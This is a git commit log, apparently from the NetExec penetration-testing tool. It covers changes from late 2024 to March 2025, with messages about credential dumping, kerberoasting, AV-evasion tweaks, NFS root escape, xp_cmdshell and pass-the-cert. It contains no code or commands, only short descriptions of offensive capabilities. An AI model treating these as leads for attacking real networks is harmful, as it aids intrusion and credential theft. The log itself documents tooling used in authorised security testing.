mpgn 613fd5e48e fix ruff 2025-03-15 23:00:40 +01:00
mpgn a727f0283f Add choice to use old or new technique 2025-03-15 22:48:25 +01:00
Alex b520fdf9f5 Merge pull request #601 from Pennyw0rth/neff-revert-speed-improvs
Revert #411 due to connection issues (#479)
2025-03-15 17:48:06 +01:00
Alexander Neff 26c4847018 Revert #411 due to connection issues (#478, #479), possibly concurrency problems 2025-03-15 12:35:50 -04:00
Marshall Hallenbeck f0602c7804 Merge branch 'main' into marshall-db-ip-fix 2025-03-15 11:47:28 -04:00
Alex 340bc60759 Merge pull request #594 from Mercury0/asreproast-DNS-patch
Use host IP for DNS resolution in asreproast function if kdcHost not specified
2025-03-15 16:15:14 +01:00
Alexander Neff ae653c283b Add fix from ea7e0925a1 to the ldap protocol 2025-03-15 11:09:14 -04:00
Alexander Neff 7162fd9c3d Moved the fix for #592 to kerberoast class because otherwise user without password crashes without DNS 2025-03-15 11:08:35 -04:00
Alexander Neff adb423ef09 Remove unused imports 2025-03-15 10:20:30 -04:00
mpgn 97703063b6 Add regsecretdump technique 2025-03-14 23:17:33 +01:00
Marshall Hallenbeck 95ae5deb27 Merge branch 'main' into marshall-db-ip-fix 2025-03-14 10:12:46 -04:00
Alexander Neff c4bf023032 Improve logging output of --shares 2025-03-14 13:22:16 +01:00
Alexander Neff 493b12e1fb Fix get-unixUserPassword/get-userPassword modules which sometimes does not retrieve all users with these attributes 2025-03-14 11:33:38 +01:00
Alexander Neff d343e212cd Fix NFS indent for share listing 2025-03-13 14:41:54 +01:00
Alexander Neff c2cb7521df Fix ldap query output for output containing special chars, e.g. german äöü 2025-03-13 14:41:27 +01:00
Alexander Neff 98c4b15781 Fix wcc wsus check 2025-03-13 14:40:34 +01:00
Alexander Neff 36e4f4fb66 Set nfs timeout to 5 seconds 2025-03-11 14:52:27 +01:00
Alexander Neff 2621dcad02 If mount error still list share with available infos 2025-03-11 14:51:35 +01:00
Fox 725c96f57a Use host IP for DNS resolution for asreproasting 2025-03-10 09:05:40 -07:00
Alexander Neff fff8d09d2a If len(val_list) is zero val_list[0] will crash, this will now return the empty list 2025-03-10 16:04:41 +01:00
crosscutsaw e551d3e006 Update enable_cmdshell.py
Signed-off-by: crosscutsaw <[email protected]>
2025-03-09 22:07:51 +03:00
mpgn f8293d156b Merge pull request #579 from Pennyw0rth/remove_pywerview
Remove pywerview dependency
2025-03-09 11:25:42 +01:00
Alexander Neff 84dbe26bd6 Change wording to REMOVED as it actually is removed 2025-03-08 20:54:59 -05:00
Alexander Neff f7c6f20ba7 Sort member output by sid for better alignment 2025-03-08 20:49:45 -05:00
Alexander Neff 93446a593f Add Exception handling when we get rpc_access_denied 2025-03-08 20:17:51 -05:00
Alexander Neff ddc00c97da Raise exception on rpc_access_denied so it doesnt crash later for unkown reasons, use provided logger instead of nxc_logger 2025-03-08 20:16:47 -05:00
mpgn 0129b43a82 add poetry.lock 2025-03-08 22:40:30 +01:00
mpgn 25e7529a7c remove pywerview from pyproject 2025-03-08 22:36:23 +01:00
mpgn d279bb8ad1 fix ruff 2025-03-08 22:34:03 +01:00
mpgn 402ef37d02 Merge branch 'main' into remove_pywerview
Signed-off-by: mpgn <[email protected]>
2025-03-08 22:30:58 +01:00
mpgn a45ba3b0fc add local enumeration members on local group 2025-03-08 22:25:48 +01:00
Marshall Hallenbeck 9259825d36 Merge branch 'main' into marshall-db-ip-fix 2025-03-08 12:48:07 -05:00
Alexander Neff ec8abe6c6c Formating 2025-03-08 11:45:53 -05:00
Alex 0063ec0995 Merge pull request #574 from n3rada/main
Fix Poetry 2.1+ compatibility in `pyproject.toml`
2025-03-08 17:36:39 +01:00
Alexander Neff c7f28f5363 Remove poetry version lock in tests and remove duplicate poetry installation 2025-03-08 11:30:04 -05:00
Alexander Neff 875bf28b8b Remove unused packages 2025-03-08 10:49:19 -05:00
Alexander Neff 573a23c45a Pin pywerview to 0.3.3 2025-03-08 10:37:16 -05:00
Alexander Neff ed793d7883 Readd comments 2025-03-08 10:24:53 -05:00
Alexander Neff e87489f8ca Add commit 'distance' to version 2025-03-08 10:13:39 -05:00
Alex 23f4e63b65 Merge pull request #591 from Pennyw0rth/neff-patch-1
Catch ldap error if host is not reachable
2025-03-08 15:44:21 +01:00
Alex 6135e12cdb Merge pull request #464 from Dfte/Add---remoteuac-module
Create remote-uac.py
2025-03-08 15:42:54 +01:00
Alexander Neff dafc28a8c6 Catch ldap error if host is not reachable 2025-03-08 09:33:20 -05:00
Alexander Neff 62afd52961 Add option text 2025-03-08 09:17:11 -05:00
Alexander Neff 446bb30be3 Formating 2025-03-08 09:11:52 -05:00
Alexander Neff 02616525ca Rename module 2025-03-08 09:11:31 -05:00
Alex 7e1537b935 Merge branch 'main' into Add---remoteuac-module 2025-03-08 15:06:53 +01:00
Alexander Neff 7d80a3fceb Change deprecated output to fail 2025-03-08 08:19:19 -05:00
Alexander Neff 82002a7c3b Deprecate --loggeon-users-filter and spelling fix 2025-03-08 08:14:24 -05:00
Alexander Neff bb838c75e2 Apply filter by specifying a user for --loggedon-users arg 2025-03-08 08:09:57 -05:00
Marshall Hallenbeck 5889e55906 fix: check if an IP is being searched for when calling get_hosts in db calls; fixes #589 2025-03-07 20:02:45 -05:00
Alex c1e1205a9a Merge pull request #588 from Pennyw0rth/neff-patch-1 2025-03-07 16:39:16 +01:00
Alexander Neff d0a4be4447 Move connection error to info instead of fail similar to smb etc 2025-03-07 10:27:25 -05:00
Alexander Neff d214067218 Fix exception when it is not possible to list share 2025-03-07 10:18:05 -05:00
zblurx e68cc41906 Merge pull request #587 from Mercury0/ldap-checker-refactor
Improve reliability of ldap-checker module
2025-03-07 14:49:45 +01:00
n3rada d43b861533 Remove poetry.toml 2025-03-07 10:56:36 +01:00
Fox a91761a755 Improve reliability of ldap-checker module 2025-03-06 14:03:06 -08:00
Alex 9161b29e90 Merge pull request #570 from Pennyw0rth/neff-fix-veeam-output 2025-03-04 06:59:40 -05:00
Mauriceter bff20dff79 Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-03-04 12:35:32 +01:00
Mauriceter 2e634750db Delete nxc/modules/wds.py
Signed-off-by: Mauriceter <[email protected]>
2025-03-04 11:39:37 +01:00
Joachim De Bats f41f80d98f module recon sccm with winreg 2025-03-04 11:18:12 +01:00
Alexander Neff d201e4047e Fix --groups for groups without users or only one user 2025-03-03 20:18:59 -05:00
Alexander Neff 9203a5817c Remove dead code that was used by --users and --computers 2025-03-03 20:01:01 -05:00
Alexander Neff 0a5c1fd698 Add --computers from smb to ldap 2025-03-03 19:58:57 -05:00
Alexander Neff fc6e34ef76 Deprecate group-mem module 2025-03-03 19:45:56 -05:00
Alexander Neff 24cdf8d604 Add possibility to enumerate group members via ldap 2025-03-03 19:39:47 -05:00
Alexander Neff 6e390e8957 Add deprecated label so it is easier to find when we remove deprecated stuff 2025-03-03 19:12:24 -05:00
Alex 674fe5ed88 Merge pull request #584 from Pennyw0rth/neff-nfs-escape-to-rootfs
Small bug fixes for NFS
2025-03-03 18:59:32 -05:00
Alexander Neff 8aec485b79 Formating 2025-03-03 18:41:38 -05:00
Alexander Neff 4a696dff7e Fix bug if file has other permissions than the directory. Also better error handling 2025-03-03 17:20:05 -05:00
Alexander Neff 19ba129350 Fix bug if upload target dir is root point 2025-03-03 17:19:23 -05:00
Alex 9768568b65 Merge pull request #583 from Pennyw0rth/neff-nfs-escape-to-rootfs
NFS escape to root fs
2025-03-03 12:37:37 -05:00
Alexander Neff 9e44b7f1ed Better english 2025-03-03 10:11:04 -05:00
Alexander Neff 5f533f2c8f More UID/GID updates and clean up 2025-03-03 10:07:30 -05:00
Alexander Neff 13a6653503 Remove unused import 2025-03-02 18:45:36 -05:00
Alexander Neff df4e992c52 Add root_escape for --get-file and --put-file 2025-03-02 18:43:35 -05:00
Alexander Neff 67ce02eae7 Clean up and comments 2025-03-02 13:17:11 -05:00
Alexander Neff 434b0f4b80 Fix for items that are not resolved by the readdirplus call 2025-03-02 13:15:09 -05:00
Alexander Neff 9e4366f97f Add implementation for 'ls' 2025-03-02 12:59:52 -05:00
Alexander Neff de95d01c64 Add check for root escape 2025-03-02 10:14:17 -05:00
mpgn 0814931cf0 Merge branch 'main' into remove_pywerview 2025-03-02 14:20:56 +01:00
Alexander Neff d87c379ac5 NFS root escape automated for each share 2025-02-27 19:27:53 -05:00
Alexander Neff d1f7db656b Merge branch 'main' into neff-nfs-escape-to-rootfs 2025-02-27 17:35:50 -05:00
Alexander Neff 4571f93dce Working on nfs root escape 2025-02-27 17:35:48 -05:00
Alex 253f797f58 Merge pull request #580 from Pennyw0rth/neff-patch-1
Linting
2025-02-26 23:51:34 +01:00
Alexander Neff 5da61176b4 Linting 2025-02-26 17:46:23 -05:00
Alex 1ade4d6702 Merge pull request #445 from Dfte/SMB]-Add---qwinsta-and---tasklist-options
[SMB] Add the --qwinsta and --tasklist options
2025-02-26 23:32:27 +01:00
mpgn 45ea1de213 add poetry.lock 2025-02-26 23:02:48 +01:00
mpgn 0083554cca ruff fix 2025-02-26 23:00:51 +01:00
mpgn 4cc5d87d12 remove smb-session option 2025-02-26 23:00:13 +01:00
mpgn ae684bf0df rework smb function to remove pywerview dependency 2025-02-26 22:52:21 +01:00
Alexander Neff ca5a076f1e Add IPv4 to qwinsta output 2025-02-26 16:09:41 -05:00
Alexander Neff 53b42df414 Add IPv4 to qwinsta output 2025-02-26 13:53:08 -05:00
Alexander Neff 74e6aa03c1 Pass local object to functions istead of using a class variable, alread in use 2025-02-26 12:54:51 -05:00
n3rada 47bb14680a Fix auto version 2025-02-26 18:39:03 +01:00
Alex 2343ddf62a Merge pull request #577 from Pennyw0rth/neff-patch-1
Rename ambigous function
2025-02-26 18:33:21 +01:00
Alexander Neff c9111968e2 Also rename the arg lol 2025-02-26 12:05:34 -05:00
Alexander Neff 6c807b283c Rename ambigous function 2025-02-26 11:51:12 -05:00
Alexander Neff 23de82520f Add missing kerberos parameter 2025-02-26 11:28:57 -05:00
Alex 80f00af37d Merge pull request #576 from Pennyw0rth/neff-patch-1
Fix ASCII Art
2025-02-26 17:17:03 +01:00
Alexander Neff 724401af7a Formating 2025-02-26 11:15:56 -05:00
Alexander Neff 98c92077cc Replace single quote with double quote 2025-02-26 11:14:40 -05:00
Alexander Neff cb76ad8ded Fix ASCII Art 2025-02-26 09:32:03 -05:00
n3rada 7688320925 Updating poetry.lock and pyproject.toml 2025-02-26 09:55:42 +01:00
Alex c97e562bcc Merge pull request #575 from Mercury0/powershell_history_fix
Refactored powershell_history module to fix case sensitivity
2025-02-26 09:40:58 +01:00
Alexander Neff 6120249dd0 Simplify code 2025-02-26 03:36:22 -05:00
Fox b14830f17a Refactored powershell_history module to fix case sensitivity 2025-02-25 14:25:30 -08:00
n3rada f79a652723 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:26:48 +01:00
n3rada 384eb30cdd Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:25:15 +01:00
n3rada 7b44298e21 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:24:54 +01:00
n3rada dd72ee377d Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:23:15 +01:00
n3rada f6c376df17 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:52 +01:00
n3rada e50bf7e686 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:07 +01:00
n3rada 8a9e9a164c Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:19:21 +01:00
Alex a53a1ce865 Merge pull request #573 from Pennyw0rth/zblurx-fix-ldap-checker
LDAP checker fix when checking without creds
2025-02-25 15:04:23 +01:00
zblurx 2d21f4d7a6 LDAP checker fix when checking without creds 2025-02-25 12:40:13 +01:00
Alexander Neff ad6c385493 Typo 2025-02-23 13:14:06 -05:00
Alex 307aa248cb Merge pull request #571 from Pennyw0rth/neff-fix-py3.13 2025-02-21 10:26:54 +01:00
Alexander Neff 1911ca9e51 Update impacket and pynfsclient 2025-02-20 18:36:51 -05:00
Alexander Neff c6c1c2f14e Update github workflows to py3.13 2025-02-20 18:35:43 -05:00
Alexander Neff 4ffdbde343 Fix python 3.13 logging issue 2025-02-20 18:34:06 -05:00
emre dc2a262598 Update presence.py
bugfix
2025-02-20 20:31:06 +03:00
Alex bba9e72530 Merge pull request #568 from jdholtz/smbexec-timeout
[smb] Always delete output file
2025-02-19 23:57:49 +01:00
Alexander Neff 342a13021b Bug fixes and output formating 2025-02-19 14:38:13 -05:00
Alexander Neff 3235b1d9df Add description to output 2025-02-19 13:53:24 -05:00
Alexander Neff c60141f38b Correct spelling 2025-02-19 13:06:59 -05:00
Alexander Neff 18f7033acd Add salted dpapi decryption for latest veeam installations 2025-02-19 13:06:37 -05:00
Alex bb8f92092d Merge pull request #569 from Pennyw0rth/neff-patch-1 2025-02-19 01:37:21 +01:00
Alexander Neff 0cc9a452f2 Add exception handling for NetBIOSTimeout Exceptions 2025-02-18 12:26:00 -05:00
Alexander Neff 39f1309ff2 Formating 2025-02-18 10:29:49 -05:00
Alexander Neff 1476373519 Change output path from temp to nxc folder 2025-02-18 10:25:43 -05:00
Alexander Neff 4de3f32629 Add exception handling for listing a single folder 2025-02-18 10:24:14 -05:00
jdholtz 1d4b4cbc60 [smb] Always delete output file 2025-02-16 22:56:17 -08:00
Alex c2f85db63b Merge pull request #565 from Pennyw0rth/neff-patch-1 2025-02-12 00:15:38 +01:00
Alexander Neff 5e14baee44 Fix #564 2025-02-11 18:00:08 -05:00
emre a053462e8c Create presence.py
high privilege smb module that traces domain level admin presences in target
2025-02-09 13:03:56 +03:00
Alex 8046495d3f Merge pull request #560 from Pennyw0rth/neff-patch-1
Fix hardcoded option
2025-02-09 02:07:06 +01:00
Marshall Hallenbeck c0fc42ba26 Merge branch 'main' into neff-patch-1 2025-02-08 20:04:56 -05:00
Alexander Neff 5969756b35 Fix hardcoded option to arg 2025-02-08 19:59:50 -05:00
Alex ab34ca7577 Merge pull request #441 from termanix/patch-6
Update users and active-users against anonymous ldap authentication
2025-02-09 00:24:59 +01:00
Alexander Neff f282ca7dae Fix format string 2025-02-08 18:21:34 -05:00
Alex 449ce2468f Merge branch 'main' into patch-6 2025-02-08 23:35:42 +01:00
Alexander Neff d5b5ec9d86 Replace user disabled value with constant 2025-02-08 17:25:45 -05:00
Alexander Neff c7a08866f4 Formating 2025-02-08 17:18:38 -05:00
Alexander Neff 45e5e4c3e8 Improve readability 2025-02-08 17:17:57 -05:00
Alexander Neff b5b9f07575 Simplify logic 2025-02-08 17:08:52 -05:00
Alexander Neff 310cc9b333 Improve readability 2025-02-08 16:10:56 -05:00
mpgn f46f63b86d Merge pull request #537 from Pennyw0rth/backup_operator
Add Backup operators module
2025-02-08 18:32:01 +01:00
Alexander Neff f3ebe6b781 Fix detection if SAM/SYSTEM/SECURITY were deleted 2025-02-08 09:14:43 -05:00
Alexander Neff f6cd501eed Fix imports and don't force quit 2025-02-08 08:33:29 -05:00
Alexander Neff d8020bba2b Add Kerberos support and comments 2025-02-08 08:20:32 -05:00
emre 619e477c1f Create enable_cmdshell.py
high privilege module that enables or disables xp_cmdshell in mssql server
2025-02-08 15:44:15 +03:00
emre fa3eba48df Update dump-computers.py
made some adjustments for better experience
2025-02-08 14:34:04 +03:00
emre 25ac2e2a2a Update dump-computers.py
added fqdn only
2025-02-07 16:56:13 +03:00
emre 8c37f34ace Create dump-computers.py
ldap module
2025-02-07 12:50:50 +03:00
mpgn 78c08dfb6d Merge pull request #552 from jdholtz/smbexec-delete-service
[smb] Always delete service when using smbexec
2025-02-03 08:03:13 +01:00
Alex 9e1643610c Merge pull request #541 from termanix/update-exe-nxc-data
Updated exe files while putting for evasion
2025-02-03 00:45:14 +01:00
Alexander Neff 97fb011169 Simplify code 2025-02-02 18:41:35 -05:00
Alex 3f06ea9812 Merge pull request #542 from termanix/fix-dump-files-deleting
Fix lsass Dump Files Deleting Process When Dump Fail
2025-02-03 00:31:57 +01:00
Alexander Neff f87535ee3a Lint 2025-02-02 18:18:12 -05:00
Alexander Neff cb6cef60e8 Increase readability and don't force quit on error 2025-02-02 18:13:20 -05:00
Alexander Neff 7d918e403b Increase readability 2025-02-02 18:11:09 -05:00
Alexander Neff 056b69a92c Lint 2025-02-02 18:10:01 -05:00
Alexander Neff 34063e3410 Increase readability 2025-02-02 18:09:30 -05:00
Alex 6a6fa94800 Merge pull request #553 from termanix/ruff-fix 2025-02-02 17:50:20 +01:00
termanix 643519ddc1 ruff fixed f-string without any placeholders 2025-02-02 11:41:30 -05:00
jdholtz 7f43b4a4dd [smb] Wrap the service deletion in a separate try/except block 2025-01-30 10:18:14 -08:00
jdholtz d6445d553e [smb] Always delete service when using smbexec 2025-01-29 12:24:56 -08:00
mpgn c904f3aa81 Merge pull request #547 from Joytide/main
Fix: privileged groups SID not found error
2025-01-26 22:14:39 +01:00
Joytide 34f6ce2580 Added debug output on lack of default privileged RID 2025-01-26 02:48:09 +01:00
lap1nou 93a7bd6c7d Added get_credentials and get_crdential function for LDAP protocol 2025-01-23 22:34:15 +01:00
lapinou 30166dd418 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-01-23 21:42:04 +01:00
Joytide 8309947719 Fix: privileged groups SID not found error 2025-01-23 16:11:33 +01:00
termanix e5e750d897 Updated for procdump, handlekatz and procdump either 2025-01-23 03:41:01 -05:00
termanix 49220a323d Merge branch 'Pennyw0rth:main' into update-exe-nxc-data 2025-01-22 14:30:58 -05:00
termanix 84d896e22a Merge branch 'Pennyw0rth:main' into fix-dump-files-deleting 2025-01-22 14:30:41 -05:00
Alex 6ce260fca1 Merge pull request #546 from Pennyw0rth/neff-patch-1
Swap cert-pem to pem-cert to match pfx syntax
2025-01-22 13:39:35 +01:00
Alexander Neff 80f528c160 Swap cert-pem to pem-cert to match pfx syntax 2025-01-22 07:33:19 -05:00
mpgn 9511ca2b3b Merge pull request #544 from Pennyw0rth/krb5
Add option generate-krb5-file for krb5 configuration
2025-01-18 22:45:45 +01:00
mpgn a9412abeac Merge branch 'main' into backup_operator 2025-01-18 21:46:56 +01:00
mpgn dd27cc48f0 Merge branch 'main' into krb5 2025-01-18 21:40:59 +01:00
Alex ed89236e12 Merge pull request #545 from Pennyw0rth/ruff2
fix ruff
2025-01-18 21:34:09 +01:00
mpgn 29d94f9baa add test 2025-01-18 19:31:37 +01:00
mpgn e10756a973 add krb5 conf file option for smb 2025-01-18 19:28:19 +01:00
mpgn 8d9b7eede3 fix ruff 2025-01-18 18:36:57 +01:00
mpgn 7bb58133b0 Merge pull request #379 from nikaiw/module_dpapihash
Add dpapi hash module based on the work of @fist0urs
2025-01-18 15:44:15 +01:00
mpgn da3ad306e8 fix review 2025-01-18 14:15:23 +01:00
termanix dd6c62e8c2 Delete funciton created with same as nanodump and handlekatz 2025-01-16 05:18:39 -05:00
termanix fdb1a7993a Fix lsass dump files deleting process when dump fail 2025-01-16 05:12:46 -05:00
termanix 675975e614 Fix procdump deleting when lsass dump fail 2025-01-16 04:46:43 -05:00
termanix 9b1455f77a Updated exe files processsing for evasion 2025-01-15 05:56:50 -05:00
mpgn 5db7e76cf4 Merge branch 'main' into backup_operator 2025-01-14 20:17:46 +01:00
zblurx bf6fd5e91f update e2e 2025-01-14 16:26:44 +01:00
zblurx 66500bf2db update with latest dploot changes 2025-01-14 16:23:00 +01:00
zblurx b250e1d9fd Merge branch 'main' into module_dpapihash 2025-01-14 15:55:40 +01:00
zblurx a5ec90e402 Merge pull request #539 from Pennyw0rth/dploot_upgrade
update dploot to 3.1.0
2025-01-14 15:53:57 +01:00
zblurx 142530ca49 update dploot to 3.1.0 2025-01-14 14:50:58 +01:00
mpgn 5e04926d7e update module 2025-01-13 21:51:22 +01:00
mpgn f999da0a31 update module 2025-01-13 20:52:52 +01:00
mpgn 5a63253d16 update module 2025-01-13 20:50:11 +01:00
Alex 835be02966 Merge pull request #538 from Pennyw0rth/neff-update-spec
Fix spec file
2025-01-12 21:02:41 +01:00
Alexander Neff df0b4bba3a Add oscrypto from github to fix openssl issue 2025-01-12 14:58:32 -05:00
Alexander Neff 72ff0ae041 Fix spec file 2025-01-12 09:28:13 -05:00
Fagan Afandiyev 2f1bc026cc Delete nxc/modules/marbdawg.py
Signed-off-by: Fagan Afandiyev <[email protected]>
2025-01-10 19:19:35 -05:00
FaganAfandiyev a25e26b38d marbdawg beta 1.0 2025-01-10 19:17:37 -05:00
mpgn d11532c95a remove useless code 2025-01-10 10:29:49 +01:00
mpgn d666ff3f4a fix review 2025-01-09 22:20:58 +01:00
mpgn 333a7f31de fix review 2025-01-09 22:17:15 +01:00
mpgn 74d8787166 fix review 2025-01-09 22:16:13 +01:00
mpgn 93acdba831 fix review 2025-01-09 22:14:25 +01:00
mpgn bb87479069 add test 2025-01-09 21:05:05 +01:00
mpgn 11062abd4b add exit if not right 2025-01-09 20:44:00 +01:00
mpgn 923fc4625f add backup_operator module 2025-01-09 20:09:23 +01:00
mpgn 5103f57fac Merge pull request #536 from Pennyw0rth/pfx_fix
fix pfx auth on non dc
2025-01-07 13:02:48 +01:00
mpgn 4a3f3e3120 use kdchost 2025-01-07 16:15:08 +01:00
mpgn 26e4ce4b11 use kdchost 2025-01-07 16:10:25 +01:00
mpgn 905f63677c fix pfx auth on non dc 2025-01-07 16:05:12 +01:00
FaganAfandiyev 4e6b978406 Ruff changes 2025-01-06 18:39:04 -05:00
FaganAfandiyev 74f80e67ac Default value added to OLDPASS and OLDNTHASH option 2025-01-06 18:30:46 -05:00
FaganAfandiyev 4604d494f1 Fixing output types 2025-01-06 17:30:19 -05:00
Fagan Afandiyev 7371dea334 Merge pull request #1 from termanix/changepassupdate
Improvements on STATUS_PASSWORD_MUST_CHANGE and STATUS_PASSWORD_EXPIRED
2025-01-06 17:26:40 -05:00
mpgn 5d680a9288 Merge pull request #534 from Pennyw0rth/nosmbv1
switch default conn from smbv1 to smbv3
2025-01-06 21:23:14 +01:00
mpgn 501c9e0c10 Merge branch 'main' into nosmbv1 2025-01-06 21:20:11 +01:00
mpgn 3ee33cdd61 Merge pull request #535 from Pennyw0rth/neff-patch-1
Update license file and lint py version
2025-01-06 21:20:02 +01:00
mpgn a562430416 Merge branch 'main' into neff-patch-1 2025-01-06 21:15:20 +01:00
mpgn 1bfe964aa5 Merge pull request #533 from Pennyw0rth/pfx
add certificate authentication aka pass-the-cert
2025-01-06 21:15:07 +01:00
Alexander Neff 0236ef7877 Fix logic bug when creating smbv1 connection and add timeout check for smbv3 2025-01-06 08:43:49 -05:00
Alexander Neff 33ecfb1965 Remove old smbv1 check 2025-01-06 08:43:22 -05:00
Alexander Neff 5aca57804c Lint 2025-01-06 07:46:14 -05:00
Alexander Neff 36eedde236 Update linting to py3.10 2025-01-06 07:46:09 -05:00
Alexander Neff 3904dcd063 Update license file 2025-01-06 07:45:59 -05:00
mpgn cca63a2e76 force poetry to 1.8 in github action 2025-01-06 10:36:52 +01:00
mpgn a4286ee3ab allow test to be run manually 2025-01-06 09:54:42 +01:00
mpgn 0cbd63aa25 try to fix test 2025-01-06 09:24:49 +01:00
mpgn c8160b6fe5 fix ruff 2025-01-05 02:32:37 +01:00
mpgn e744305427 switch default conn from smbv1 to smbv3 2025-01-05 02:28:00 +01:00
Alexander Neff 5f87918e5f Use NXC_PATH instead of hardcoded path 2025-01-04 14:52:38 -05:00
Alexander Neff 28bc001b46 Formating 2025-01-04 14:51:21 -05:00
Alexander Neff 631107dee4 Move cert auth logic to helpers function 2025-01-04 14:49:57 -05:00
Alexander Neff c71e52dbf8 Pass the target ip to the tools, so that they don't need to resolve the domain 2025-01-04 14:41:44 -05:00
Alexander Neff 716ae2a148 Make sure that the user enters a username for cert auth 2025-01-04 14:41:17 -05:00
mpgn 36ca3a0326 add certificate authentication aka pass-the-cert 2025-01-04 18:36:38 +01:00
termanix cf40b4c69e Merge branch 'Pennyw0rth:main' into patch-6 2025-01-04 09:31:43 -05:00
termanix c0fe839e28 ldap parser stay same as main branch. users and active-users editted for both anon and user auth. 2025-01-04 09:23:11 -05:00
Alex f9ce149d12 Merge pull request #531 from Pennyw0rth/neff-refactor-ssh 2025-01-04 11:49:27 +01:00
Alexander Neff a2ae0bde18 POC for escape to root file system 2025-01-03 20:19:35 -05:00
mpgn fb96e7868c Merge pull request #530 from Pennyw0rth/ldap_socks
fix connection issue with socks ldap
2025-01-03 08:22:38 +01:00
Alexander Neff 23b4a23c5d Readd functionality that key files are stored to db 2025-01-02 18:42:11 -05:00
Alexander Neff 7a6945a789 Add missing database handling 2025-01-02 18:20:38 -05:00
mpgn 56e92220e2 Merge pull request #532 from Pennyw0rth/bh
push bloodhound to 1.8
2025-01-03 00:00:48 +01:00
mpgn 37ae051ad4 fix ruff 2025-01-03 00:14:42 +01:00
mpgn d5c6bd927f push bloodhound to 1.8 2025-01-03 00:09:06 +01:00
Alexander Neff 4303f1d43a Moved to init 2025-01-02 17:54:53 -05:00
Alexander Neff 96d23cd174 Fix windows output 2025-01-02 17:52:47 -05:00
Alexander Neff beee54bea6 Fix debug logging 2025-01-02 17:50:11 -05:00
Alexander Neff caba9f662f Refactor privilege check logic 2025-01-02 17:42:31 -05:00
mpgn fcc22c212d Merge pull request #505 from rtpt-romankarwacik/dcerpc_printerbug
coerce_plus: Support DCERPC for PrinterBug
2025-01-02 22:54:13 +01:00
Alexander Neff cfc8f2fcfa Fix auth 2025-01-02 16:37:57 -05:00
Alexander Neff 6593fa84db Extracting privilege checks from plaintext_login 2025-01-02 16:37:17 -05:00
Alexander Neff 07540ee0c7 Renanem priv functions to reflect its implementation 2025-01-02 16:13:59 -05:00
Alexander Neff 176b9618f1 Move plaintext_login above priv checks 2025-01-02 16:13:16 -05:00
Alexander Neff b02fff7e3c Add handling for missing or wrong key file password 2025-01-02 16:04:44 -05:00
mpgn 3ec787cda2 re-add debug line 2025-01-02 21:59:47 +01:00
mpgn 45b81a4306 fix ruff 2025-01-02 21:56:02 +01:00
mpgn 7296e3c715 fix connection issue with socks ldap 2025-01-02 21:51:39 +01:00
mpgn 74f39f50d6 fix expoitstatus 2025-01-02 20:11:44 +00:00
Roman Karwacik 2c50411a59 fix force push ':( 2025-01-02 20:08:49 +00:00
Roman Karwacik b22c4bc6b4 add break on loop 2025-01-02 20:08:03 +00:00
Alex 121942320e Merge pull request #524 from jdholtz/ssh-file-interaction
ssh: allow for putting and getting files
2025-01-02 19:06:02 +01:00
Alex 59faa48cfd Merge pull request #476 from termanix/patch-8
Improve LDAP dc-list flag
2025-01-01 18:28:04 +01:00
Alexander Neff d8e5e94ccb Add dns options to dc-list 2025-01-01 12:24:46 -05:00
mpgn fbd4e1ae9a Merge branch 'main' into patch-8 2024-12-31 10:02:31 +01:00
mpgn 131e29e117 Merge pull request #529 from XiaoliChan/printnightmare-fix
[PrintNightmare] Add more exception catch in module
2024-12-31 09:57:54 +01:00
XiaoliChan 3b443d7c83 [Module] Add more exception catch
Signed-off-by: XiaoliChan <[email protected]>
2024-12-31 13:22:43 +08:00
Alex 1d55ccf5b1 Merge pull request #528 from Pennyw0rth/neff-rdp-errors
Show error messages when rdp fails
2024-12-30 22:31:07 +01:00
Alexander Neff 7c95169907 Linting 2024-12-30 16:21:48 -05:00
Alexander Neff 57b29bcc71 Simplify code 2024-12-30 16:21:38 -05:00
Alexander Neff 0f810c958d Add errors message to login result for all login methods 2024-12-30 16:20:32 -05:00
Alexander Neff f93e9c3ea4 Add errors message to login result 2024-12-30 16:16:30 -05:00
Alex 2c421a7ed5 Merge pull request #526 from lap1nou/fix-user-desc 2024-12-30 21:13:04 +01:00
lapinou 4100bb3e61 Update ldap.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:26:09 +01:00
lapinou 7a98330156 Update database.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:18:44 +01:00
lapinou 14c4506767 Update user-desc.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:10:35 +01:00
termanix 761da40463 added comment lines
Signed-off-by: termanix <[email protected]>
2024-12-29 23:20:21 +02:00
termanix fb51b53885 update 2024-12-29 15:22:43 -05:00
mpgn 92dc819673 Merge pull request #521 from XiaoliChan/remove-mic-check
[Module] Add remove mic check
2024-12-29 21:18:01 +01:00
XiaoliChan 7a6565c1e1 Merge branch 'main' into remove-mic-check 2024-12-30 00:35:26 +08:00
mpgn 2a15590ba5 Merge pull request #523 from XiaoliChan/force-smbv2
[SMB] Allow force to disable SMBv1
2024-12-29 14:58:19 +01:00
XiaoliChan 281feb3809 [SMB] @mpgn review
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 18:29:05 +08:00
XiaoliChan 964be24cfa [Remove-Mic] Add e2e command
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:09:06 +08:00
XiaoliChan 8ad48fb757 [Remove-Mic] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:07:17 +08:00
XiaoliChan ce963a0fa7 [Remove-Mic] mutiple hosts set 2 False
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 14:59:53 +08:00
XiaoliChan b79ddec91f [SMB] add e2e for '--no-smbv1'
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:43:12 +08:00
XiaoliChan d33f1640b7 [SMB] better control of smbv1
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:37:10 +08:00
jdholtz dc39e0e6a9 ssh: allow for putting and getting files 2024-12-27 01:33:50 -06:00
XiaoliChan 3e44b41e8b [Module] Add remove mic check
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 02:01:39 +08:00
